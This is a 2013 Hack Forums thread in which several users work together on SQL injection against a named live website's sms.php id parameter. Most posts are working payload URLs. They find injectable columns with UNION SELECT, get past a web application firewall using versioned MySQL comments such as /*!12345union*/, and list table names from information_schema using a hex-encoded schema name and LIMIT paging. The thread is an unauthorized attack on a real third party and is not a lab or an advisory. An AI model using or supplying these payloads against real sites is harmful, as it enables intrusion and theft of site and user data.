

Forum: [Hack Forums](#)

Thread: [Unable to locate vulnerable columns](#)

prateek.anand - July 6, 2013, 6:53 pm

I am unable to find the vulnerable columns. I tried to look into the source too but failed.

Code http://www.sleekfunmaza.com/sms.php?id=207' /*!12345union*/ select 1,2,3,4--+-

Naww - July 6, 2013, 7:02 pm

(Jul 6, 2013 06:53 PM)prateek.anand Wrote: [\[CITE\]](#) I am unable to find the vulnerable columns. I tried to look into the source too but failed.

Code http://www.sleekfunmaza.com/sms.php?id=207' /*!12345union*/ select 1,2,3,4--+-

http://www.sleekfunmaza.com/sms.php?id=-207%27%20/*!12345union*/%20select%201,2,3,4--+-

Put an infer before 207 just like this `=-207`

prateek.anand - July 6, 2013, 7:11 pm

Can you tell me why we did so ? It is working fine on the URL below

Code http://www.sleekfunmaza.com/sms.php?id=1' /*!12345union*/ select 1,2,3,4--+-

Gee4rce - July 6, 2013, 8:42 pm

It's a string injection, so you add another - to the end...

More interesting Question would be why there has to be a !2345 at union to evade the firewall filters,

at concat you need to increase the number to !23456 to avoid an fetch_array() Error and get it displayed correctly o_O

Like:

Code [http://www.sleekfunmaza.com/sms.php?id=-207' /*!12345union*/ select 1,2,/*!23456concat*/\("hi"\),4-- -](http://www.sleekfunmaza.com/sms.php?id=-207' /*!12345union*/ select 1,2,/*!23456concat*/()

prateek.anand - July 6, 2013, 8:48 pm

I tried this but not working, where am I wrong ?

Code

http://www.sleekfunmaza.com/sms.php?id=-1%27%20/*!12345union*/%20select%201,2,/*!123456concat*/%28table_name%29,4%20from%20information_schema.tables%20where%20table_schema=database%28%29--+-

(Jul 6, 2013 08:42 PM)Gee4rce Wrote: [\[CITE\]](#) It's a string injection, so you add another - to the end...

More interesting Question would be why there has to be a !2345 at union to evade the firewall filters,

at concat you need to increase the number to !23456 to avoid an fetch_array() Error and get it

displayed correctly o_O

Like:

Code `http://www.sleekfunmaza.com/sms.php?id=-207' /*!12345union*/ select 1,2,/*!23456concat*/("hi"),4-- -`

Gee4rce - July 6, 2013, 9:10 pm

Im not shure yet,

my syntax is like this, bypassing the WAF, but when it comes to get the table names it throws up an Error...

Code `www.sleekfunmaza.com/sms.php?id=-207' /*!12345union*/ select 1,2,/*!123456concat*/(unhex(hex(table_name))),4 FROM information_schema.tables WHERE table_schema=0x61797368615f66756e6d617a61-- -`

Got stuck here atm, too... (took it as a challenge ;)

Maybe we have no access to information_schema, but there should be one as MySQL is > 5...

VipVince - July 7, 2013, 5:47 am

PHP Code

`<?php`

http:

`//www.sleekfunmaza.com/sms.php?id=null' /*!12345union*/ select 1,2,unhex(hex(/*!table_name*/) ) , 4 FROM information_schema.tables WHERE table_schema=0x61797368615f66756e6d617a61 limit 0,1-- -`

Use limit to go up table names.